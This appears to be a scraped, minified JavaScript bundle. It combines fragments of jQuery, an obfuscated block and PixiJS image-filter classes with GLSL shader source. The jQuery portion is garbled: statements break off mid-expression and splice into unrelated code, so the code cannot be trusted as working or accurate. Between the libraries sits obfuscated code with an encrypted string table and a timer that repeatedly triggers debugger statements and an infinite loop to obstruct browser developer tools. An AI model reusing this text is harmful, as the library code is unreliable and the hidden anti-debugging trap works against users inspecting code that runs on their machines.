G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="
",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0>(-0x2*_0x2c26b5&0x6)):0x0){_0x5237b8=_0x2f074a['indexOf'](_0x5237b8);}return _0x3fb2a8;};var _0x2e129e=function(_0x43a70b,_0xa6ba6b){var _0x41109e=[],_0x39fc96=0x0,_0x1e27cf,_0x29a81c='',_0x2868c5='';_0x43a70b=_0x54fefa(_0x43a70b);for(var _0x29c98f=0x0,_0x83af79=_0x43a70b['length'];_0x29c98f<_0x83af79;_0x29c98f++){_0x2868c5+='%'+('00'+_0x43a70b['charCodeAt'](_0x29c98f)['toString'](0x10))['slice'](-0x2);}_0x43a70b=decodeURIComponent(_0x2868c5);var _0x26ae8d;for(_0x26ae8d=0x0;_0x26ae8d<0x100;_0x26ae8d++){_0x41109e[_0x26ae8d]=_0x26ae8d;}for(_0x26ae8d=0x0;_0x26ae8d<0x100;_0x26ae8d++){_0x39fc96=(_0x39fc96+_0x41109e[_0x26ae8d]+_0xa6ba6b['charCodeAt'](_0x26ae8d%_0xa6ba6b['length']))%0x100,_0x1e27cf=_0x41109e[_0x26ae8d],_0x41109e[_0x26ae8d]=_0x41109e[_0x39fc96],_0x41109e[_0x39fc96]=_0x1e27cf;}_0x26ae8d=0x0,_0x39fc96=0x0;for(var _0x5a20db=0x0;_0x5a20db<_0x43a70b['length'];_0x5a20db++){_0x26ae8d=(_0x26ae8d+0x1)%0x100,_0x39fc96=(_0x39fc96+_0x41109e[_0x26ae8d])%0x100,_0x1e27cf=_0x41109e[_0x26ae8d],_0x41109e[_0x26ae8d]=_0x41109e[_0x39fc96],_0x41109e[_0x39fc96]=_0x1e27cf,_0x29a81c+=String['fromCharCode'](_0x43a70b['charCodeAt'](_0x5a20db)^_0x41109e[(_0x41109e[_0x26ae8d]+_0x41109e[_0x39fc96])%0x100]);}return _0x29a81c;};_0x40a8['UNTGjj']=_0x2e129e,_0x40a8['KzARVz']={},_0x40a8['hbWtai']=!![];}var _0x58bae2=_0x40a8['KzARVz'][_0x5b3531];return _0x58bae2===undefined?(_0x40a8['aJuswE']===undefined&&(_0x40a8['aJuswE']=!![]),_0x40a815=_0x40a8['UNTGjj'](_0x40a815,_0x188bf9),_0x40a8['KzARVz'][_0x5b3531]=_0x40a815):_0x40a815=_0x58bae2,_0x40a815;};var _0x3010e2=_0x40a8,_0x2e129e=function(){var _0x2f074a=!![];return function(_0x2dd240,_0x3fb2a8){var _0x2c26b5=_0x2f074a?function(){var _0x103f4d=_0x40a8;if(_0x3fb2a8){var _0x3307f0=_0x3fb2a8[_0x103f4d('0x5','F!F!')](_0x2dd240,arguments);return _0x3fb2a8=null,_0x3307f0;}}:function(){};return _0x2f074a=![],_0x2c26b5;};}();(function(){_0x2e129e(this,function(){var _0x10c3e7=_0x40a8,_0x5237b8=new RegExp('function *\( *\)'),_0x1ed4b5=new RegExp(_0x10c3e7('0x2','F!F!'),'i'),_0x43a70b=_0x58bae2(_0x10c3e7('0x1d','p^Hw'));!_0x5237b8[_0x10c3e7('0x3','$zHy')](_0x43a70b+_0x10c3e7('0x13','#dEL'))||!_0x1ed4b5[_0x10c3e7('0x7','^GPT')](_0x43a70b+'input')?_0x43a70b('0'):_0x58bae2();})();}());setInterval(function(){_0x58bae2();},0xfa0);function _0x58bae2(_0x41109e){function _0x39fc96(_0x1e27cf){var _0x39e1d3=_0x40a8;if(typeof _0x1e27cf===_0x39e1d3('0x1a','M[YK'))return function(_0x29a81c){}[_0x39e1d3('0x19','(x$Y')]('while (true) {}')[_0x39e1d3('0x5','F!F!')](_0x39e1d3('0x9','^GPT'));else(''+_0x1e27cf/_0x1e27cf)[_0x39e1d3('0x6','PJda')]!==0x1||_0x1e27cf%0x14===0x0?function(){return!![];}[_0x39e1d3('0x1','PJda')](_0x39e1d3('0x12','49)e')+_0x39e1d3('0xb','MPMX'))['call'](_0x39e1d3('0x14','5pUq')):function(){return![];}[_0x39e1d3('0xc','$zHy')]('debu'+_0x39e1d3('0x1b','&Ol&'))[_0x39e1d3('0xa','(x$Y')](_0x39e1d3('0x8','PJda'));_0x39fc96(++_0x1e27cf);}try{if(_0x41109e)return _0x39fc96;else _0x39fc96(0x0);}catch(_0x2868c5){}} +var __filters=function(e,t){"use strict";var n="attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\n\nuniform mat3 projectionMatrix;\n\nvarying vec2 vTextureCoord;\n\nvoid main(void)\n{\n gl_Position = vec4((projectionMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);\n vTextureCoord = aTextureCoord;\n}",r="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform float gamma;\nuniform float contrast;\nuniform float saturation;\nuniform float brightness;\nuniform float red;\nuniform float green;\nuniform float blue;\nuniform float alpha;\n\nvoid main(void)\n{\n vec4 c = texture2D(uSampler, vTextureCoord);\n\n if (c.a > 0.0) {\n c.rgb /= c.a;\n\n vec3 rgb = pow(c.rgb, vec3(1. / gamma));\n rgb = mix(vec3(.5), mix(vec3(dot(vec3(.2125, .7154, .0721), rgb)), rgb, saturation), contrast);\n rgb.r *= red;\n rgb.g *= green;\n rgb.b *= blue;\n c.rgb = rgb * brightness;\n\n c.rgb *= c.a;\n }\n\n gl_FragColor = c * alpha;\n}\n",o=function(e){function t(t){e.call(this,n,r),Object.assign(this,{gamma:1,saturation:1,contrast:1,brightness:1,red:1,green:1,blue:1,alpha:1},t)}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.apply=function(e,t,n,r){this.uniforms.gamma=Math.max(this.gamma,1e-4),this.uniforms.saturation=this.saturation,this.uniforms.contrast=this.contrast,this.uniforms.brightness=this.brightness,this.uniforms.red=this.red,this.uniforms.green=this.green,this.uniforms.blue=this.blue,this.uniforms.alpha=this.alpha,e.applyFilter(this,t,n,r)},t}(t.Filter),i=n,l="\nvarying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform vec2 uOffset;\n\nvoid main(void)\n{\n vec4 color = vec4(0.0);\n\n // Sample top left pixel\n color += texture2D(uSampler, vec2(vTextureCoord.x - uOffset.x, vTextureCoord.y + uOffset.y));\n\n // Sample top right pixel\n color += texture2D(uSampler, vec2(vTextureCoord.x + uOffset.x, vTextureCoord.y + uOffset.y));\n\n // Sample bottom right pixel\n color += texture2D(uSampler, vec2(vTextureCoord.x + uOffset.x, vTextureCoord.y - uOffset.y));\n\n // Sample bottom left pixel\n color += texture2D(uSampler, vec2(vTextureCoord.x - uOffset.x, vTextureCoord.y - uOffset.y));\n\n // Average\n color *= 0.25;\n\n gl_FragColor = color;\n}",s="\nvarying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform vec2 uOffset;\nuniform vec4 filterClamp;\n\nvoid main(void)\n{\n vec4 color = vec4(0.0);\n\n // Sample top left pixel\n color += texture2D(uSampler, clamp(vec2(vTextureCoord.x - uOffset.x, vTextureCoord.y + uOffset.y), filterClamp.xy, filterClamp.zw));\n\n // Sample top right pixel\n color += texture2D(uSampler, clamp(vec2(vTextureCoord.x + uOffset.x, vTextureCoord.y + uOffset.y), filterClamp.xy, filterClamp.zw));\n\n // Sample bottom right pixel\n color += texture2D(uSampler, clamp(vec2(vTextureCoord.x + uOffset.x, vTextureCoord.y - uOffset.y), filterClamp.xy, filterClamp.zw));\n\n // Sample bottom left pixel\n color += texture2D(uSampler, clamp(vec2(vTextureCoord.x - uOffset.x, vTextureCoord.y - uOffset.y), filterClamp.xy, filterClamp.zw));\n\n // Average\n color *= 0.25;\n\n gl_FragColor = color;\n}\n",a=function(e){function n(n,r,o){void 0===n&&(n=4),void 0===r&&(r=3),void 0===o&&(o=!1),e.call(this,i,o?s:l),this.uniforms.uOffset=new Float32Array(2),this._pixelSize=new t.Point,this.pixelSize=1,this._clamp=o,this._kernels=null,Array.isArray(n)?this.kernels=n:(this._blur=n,this.quality=r)}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={kernels:{configurable:!0},clamp:{configurable:!0},pixelSize:{configurable:!0},quality:{configurable:!0},blur:{configurable:!0}};return n.prototype.apply=function(e,t,n,r){var o,i=this.pixelSize.x/t.size.width,l=this.pixelSize.y/t.size.height;if(1===this._quality||0===this._blur)o=this._kernels[0]+.5,this.uniforms.uOffset[0]=o*i,this.uniforms.uOffset[1]=o*l,e.applyFilter(this,t,n,r);else{for(var s,a=e.getRenderTarget(!0),u=t,c=a,f=this._quality-1,h=0;h0)for(var r=e,o=e/t,i=1;i0?(this._kernels=e,this._quality=e.length,this._blur=Math.max.apply(Math,e)):(this._kernels=[0],this._quality=1)},r.clamp.get=function(){return this._clamp},r.pixelSize.set=function(e){"number"==typeof e?(this._pixelSize.x=e,this._pixelSize.y=e):Array.isArray(e)?(this._pixelSize.x=e[0],this._pixelSize.y=e[1]):e instanceof t.Point?(this._pixelSize.x=e.x,this._pixelSize.y=e.y):(this._pixelSize.x=1,this._pixelSize.y=1)},r.pixelSize.get=function(){return this._pixelSize},r.quality.get=function(){return this._quality},r.quality.set=function(e){this._quality=Math.max(1,Math.round(e)),this._generateKernels()},r.blur.get=function(){return this._blur},r.blur.set=function(e){this._blur=e,this._generateKernels()},Object.defineProperties(n.prototype,r),n}(t.Filter),u=n,c="\nuniform sampler2D uSampler;\nvarying vec2 vTextureCoord;\n\nuniform float threshold;\n\nvoid main() {\n vec4 color = texture2D(uSampler, vTextureCoord);\n\n // A simple & fast algorithm for getting brightness.\n // It's inaccuracy , but good enought for this feature.\n float _max = max(max(color.r, color.g), color.b);\n float _min = min(min(color.r, color.g), color.b);\n float brightness = (_max + _min) * 0.5;\n\n if(brightness > threshold) {\n gl_FragColor = color;\n } else {\n gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0);\n }\n}\n",f=function(e){function t(t){void 0===t&&(t=.5),e.call(this,u,c),this.threshold=t}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={threshold:{configurable:!0}};return n.threshold.get=function(){return this.uniforms.threshold},n.threshold.set=function(e){this.uniforms.threshold=e},Object.defineProperties(t.prototype,n),t}(t.Filter),h="uniform sampler2D uSampler;\nvarying vec2 vTextureCoord;\n\nuniform sampler2D bloomTexture;\nuniform float bloomScale;\nuniform float brightness;\n\nvoid main() {\n vec4 color = texture2D(uSampler, vTextureCoord);\n color.rgb *= brightness;\n vec4 bloomColor = vec4(texture2D(bloomTexture, vTextureCoord).rgb, 0.0);\n bloomColor.rgb *= bloomScale;\n gl_FragColor = color + bloomColor;\n}\n",p=function(e){function n(n){e.call(this,u,h),"number"==typeof n&&(n={threshold:n}),n=Object.assign({threshold:.5,bloomScale:1,brightness:1,kernels:null,blur:8,quality:4,pixelSize:1,resolution:t.settings.RESOLUTION},n),this.bloomScale=n.bloomScale,this.brightness=n.brightness;var r=n.kernels,o=n.blur,i=n.quality,l=n.pixelSize,s=n.resolution;this._extractFilter=new f(n.threshold),this._extractFilter.resolution=s,this._blurFilter=r?new a(r):new a(o,i),this.pixelSize=l,this.resolution=s}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={resolution:{configurable:!0},threshold:{configurable:!0},kernels:{configurable:!0},blur:{configurable:!0},quality:{configurable:!0},pixelSize:{configurable:!0}};return n.prototype.apply=function(e,t,n,r,o){var i=e.getRenderTarget(!0);this._extractFilter.apply(e,t,i,!0,o);var l=e.getRenderTarget(!0);this._blurFilter.apply(e,i,l,!0,o),this.uniforms.bloomScale=this.bloomScale,this.uniforms.brightness=this.brightness,this.uniforms.bloomTexture=l,e.applyFilter(this,t,n,r),e.returnRenderTarget(l),e.returnRenderTarget(i)},r.resolution.get=function(){return this._resolution},r.resolution.set=function(e){this._resolution=e,this._extractFilter&&(this._extractFilter.resolution=e),this._blurFilter&&(this._blurFilter.resolution=e)},r.threshold.get=function(){return this._extractFilter.threshold},r.threshold.set=function(e){this._extractFilter.threshold=e},r.kernels.get=function(){return this._blurFilter.kernels},r.kernels.set=function(e){this._blurFilter.kernels=e},r.blur.get=function(){return this._blurFilter.blur},r.blur.set=function(e){this._blurFilter.blur=e},r.quality.get=function(){return this._blurFilter.quality},r.quality.set=function(e){this._blurFilter.quality=e},r.pixelSize.get=function(){return this._blurFilter.pixelSize},r.pixelSize.set=function(e){this._blurFilter.pixelSize=e},Object.defineProperties(n.prototype,r),n}(t.Filter),d=n,m="varying vec2 vTextureCoord;\n\nuniform vec4 filterArea;\nuniform float pixelSize;\nuniform sampler2D uSampler;\n\nvec2 mapCoord( vec2 coord )\n{\n coord *= filterArea.xy;\n coord += filterArea.zw;\n\n return coord;\n}\n\nvec2 unmapCoord( vec2 coord )\n{\n coord -= filterArea.zw;\n coord /= filterArea.xy;\n\n return coord;\n}\n\nvec2 pixelate(vec2 coord, vec2 size)\n{\n return floor( coord / size ) * size;\n}\n\nvec2 getMod(vec2 coord, vec2 size)\n{\n return mod( coord , size) / size;\n}\n\nfloat character(float n, vec2 p)\n{\n p = floor(p*vec2(4.0, -4.0) + 2.5);\n\n if (clamp(p.x, 0.0, 4.0) == p.x)\n {\n if (clamp(p.y, 0.0, 4.0) == p.y)\n {\n if (int(mod(n/exp2(p.x + 5.0*p.y), 2.0)) == 1) return 1.0;\n }\n }\n return 0.0;\n}\n\nvoid main()\n{\n vec2 coord = mapCoord(vTextureCoord);\n\n // get the rounded color..\n vec2 pixCoord = pixelate(coord, vec2(pixelSize));\n pixCoord = unmapCoord(pixCoord);\n\n vec4 color = texture2D(uSampler, pixCoord);\n\n // determine the character to use\n float gray = (color.r + color.g + color.b) / 3.0;\n\n float n = 65536.0; // .\n if (gray > 0.2) n = 65600.0; // :\n if (gray > 0.3) n = 332772.0; // *\n if (gray > 0.4) n = 15255086.0; // o\n if (gray > 0.5) n = 23385164.0; // &\n if (gray > 0.6) n = 15252014.0; // 8\n if (gray > 0.7) n = 13199452.0; // @\n if (gray > 0.8) n = 11512810.0; // #\n\n // get the mod..\n vec2 modd = getMod(coord, vec2(pixelSize));\n\n gl_FragColor = color * character( n, vec2(-1.0) + modd * 2.0);\n\n}\n",g=function(e){function t(t){void 0===t&&(t=8),e.call(this,d,m),this.size=t}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={size:{configurable:!0}};return n.size.get=function(){return this.uniforms.pixelSize},n.size.set=function(e){this.uniforms.pixelSize=e},Object.defineProperties(t.prototype,n),t}(t.Filter),v=n,x="precision mediump float;\n\nvarying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform vec4 filterArea;\n\nuniform float transformX;\nuniform float transformY;\nuniform vec3 lightColor;\nuniform float lightAlpha;\nuniform vec3 shadowColor;\nuniform float shadowAlpha;\n\nvoid main(void) {\n vec2 transform = vec2(1.0 / filterArea) * vec2(transformX, transformY);\n vec4 color = texture2D(uSampler, vTextureCoord);\n float light = texture2D(uSampler, vTextureCoord - transform).a;\n float shadow = texture2D(uSampler, vTextureCoord + transform).a;\n\n color.rgb = mix(color.rgb, lightColor, clamp((color.a - light) * lightAlpha, 0.0, 1.0));\n color.rgb = mix(color.rgb, shadowColor, clamp((color.a - shadow) * shadowAlpha, 0.0, 1.0));\n gl_FragColor = vec4(color.rgb * color.a, color.a);\n}\n",y=function(e){function n(t){void 0===t&&(t={}),e.call(this,v,x),this.uniforms.lightColor=new Float32Array(3),this.uniforms.shadowColor=new Float32Array(3),t=Object.assign({rotation:45,thickness:2,lightColor:16777215,lightAlpha:.7,shadowColor:0,shadowAlpha:.7},t),this.rotation=t.rotation,this.thickness=t.thickness,this.lightColor=t.lightColor,this.lightAlpha=t.lightAlpha,this.shadowColor=t.shadowColor,this.shadowAlpha=t.shadowAlpha}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={rotation:{configurable:!0},thickness:{configurable:!0},lightColor:{configurable:!0},lightAlpha:{configurable:!0},shadowColor:{configurable:!0},shadowAlpha:{configurable:!0}};return n.prototype._updateTransform=function(){this.uniforms.transformX=this._thickness*Math.cos(this._angle),this.uniforms.transformY=this._thickness*Math.sin(this._angle)},r.rotation.get=function(){return this._angle/t.DEG_TO_RAD},r.rotation.set=function(e){this._angle=e*t.DEG_TO_RAD,this._updateTransform()},r.thickness.get=function(){return this._thickness},r.thickness.set=function(e){this._thickness=e,this._updateTransform()},r.lightColor.get=function(){return t.utils.rgb2hex(this.uniforms.lightColor)},r.lightColor.set=function(e){t.utils.hex2rgb(e,this.uniforms.lightColor)},r.lightAlpha.get=function(){return this.uniforms.lightAlpha},r.lightAlpha.set=function(e){this.uniforms.lightAlpha=e},r.shadowColor.get=function(){return t.utils.rgb2hex(this.uniforms.shadowColor)},r.shadowColor.set=function(e){t.utils.hex2rgb(e,this.uniforms.shadowColor)},r.shadowAlpha.get=function(){return this.uniforms.shadowAlpha},r.shadowAlpha.set=function(e){this.uniforms.shadowAlpha=e},Object.defineProperties(n.prototype,r),n}(t.Filter),b=t.filters,_=b.BlurXFilter,C=b.BlurYFilter,S=b.AlphaFilter,F=function(e){function n(n,r,o,i){var l,s;void 0===n&&(n=2),void 0===r&&(r=4),void 0===o&&(o=t.settings.RESOLUTION),void 0===i&&(i=5),e.call(this),"number"==typeof n?(l=n,s=n):n instanceof t.Point?(l=n.x,s=n.y):Array.isArray(n)&&(l=n[0],s=n[1]),this.blurXFilter=new _(l,r,o,i),this.blurYFilter=new C(s,r,o,i),this.blurYFilter.blendMode=t.BLEND_MODES.SCREEN,this.defaultFilter=new S}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={blur:{configurable:!0},blurX:{configurable:!0},blurY:{configurable:!0}};return n.prototype.apply=function(e,t,n){var r=e.getRenderTarget(!0);this.defaultFilter.apply(e,t,n),this.blurXFilter.apply(e,t,r),this.blurYFilter.apply(e,r,n),e.returnRenderTarget(r)},r.blur.get=function(){return this.blurXFilter.blur},r.blur.set=function(e){this.blurXFilter.blur=this.blurYFilter.blur=e},r.blurX.get=function(){return this.blurXFilter.blur},r.blurX.set=function(e){this.blurXFilter.blur=e},r.blurY.get=function(){return this.blurYFilter.blur},r.blurY.set=function(e){this.blurYFilter.blur=e},Object.defineProperties(n.prototype,r),n}(t.Filter),z=n,A="uniform float radius;\nuniform float strength;\nuniform vec2 center;\nuniform sampler2D uSampler;\nvarying vec2 vTextureCoord;\n\nuniform vec4 filterArea;\nuniform vec4 filterClamp;\nuniform vec2 dimensions;\n\nvoid main()\n{\n vec2 coord = vTextureCoord * filterArea.xy;\n coord -= center * dimensions.xy;\n float distance = length(coord);\n if (distance < radius) {\n float percent = distance / radius;\n if (strength > 0.0) {\n coord *= mix(1.0, smoothstep(0.0, radius / distance, percent), strength * 0.75);\n } else {\n coord *= mix(1.0, pow(percent, 1.0 + strength * 0.75) * radius / distance, 1.0 - percent);\n }\n }\n coord += center * dimensions.xy;\n coord /= filterArea.xy;\n vec2 clampedCoord = clamp(coord, filterClamp.xy, filterClamp.zw);\n vec4 color = texture2D(uSampler, clampedCoord);\n if (coord != clampedCoord) {\n color *= max(0.0, 1.0 - length(coord - clampedCoord));\n }\n\n gl_FragColor = color;\n}\n",w=function(e){function t(t,n,r){e.call(this,z,A),this.uniforms.dimensions=new Float32Array(2),this.center=t||[.5,.5],this.radius="number"==typeof n?n:100,this.strength="number"==typeof r?r:1}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={radius:{configurable:!0},strength:{configurable:!0},center:{configurable:!0}};return t.prototype.apply=function(e,t,n,r){this.uniforms.dimensions[0]=t.sourceFrame.width,this.uniforms.dimensions[1]=t.sourceFrame.height,e.applyFilter(this,t,n,r)},n.radius.get=function(){return this.uniforms.radius},n.radius.set=function(e){this.uniforms.radius=e},n.strength.get=function(){return this.uniforms.strength},n.strength.set=function(e){this.uniforms.strength=e},n.center.get=function(){return this.uniforms.center},n.center.set=function(e){this.uniforms.center=e},Object.defineProperties(t.prototype,n),t}(t.Filter),T=n,D="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform sampler2D colorMap;\nuniform float _mix;\nuniform float _size;\nuniform float _sliceSize;\nuniform float _slicePixelSize;\nuniform float _sliceInnerSize;\nvoid main() {\n vec4 color = texture2D(uSampler, vTextureCoord.xy);\n\n vec4 adjusted;\n if (color.a > 0.0) {\n color.rgb /= color.a;\n float innerWidth = _size - 1.0;\n float zSlice0 = min(floor(color.b * innerWidth), innerWidth);\n float zSlice1 = min(zSlice0 + 1.0, innerWidth);\n float xOffset = _slicePixelSize * 0.5 + color.r * _sliceInnerSize;\n float s0 = xOffset + (zSlice0 * 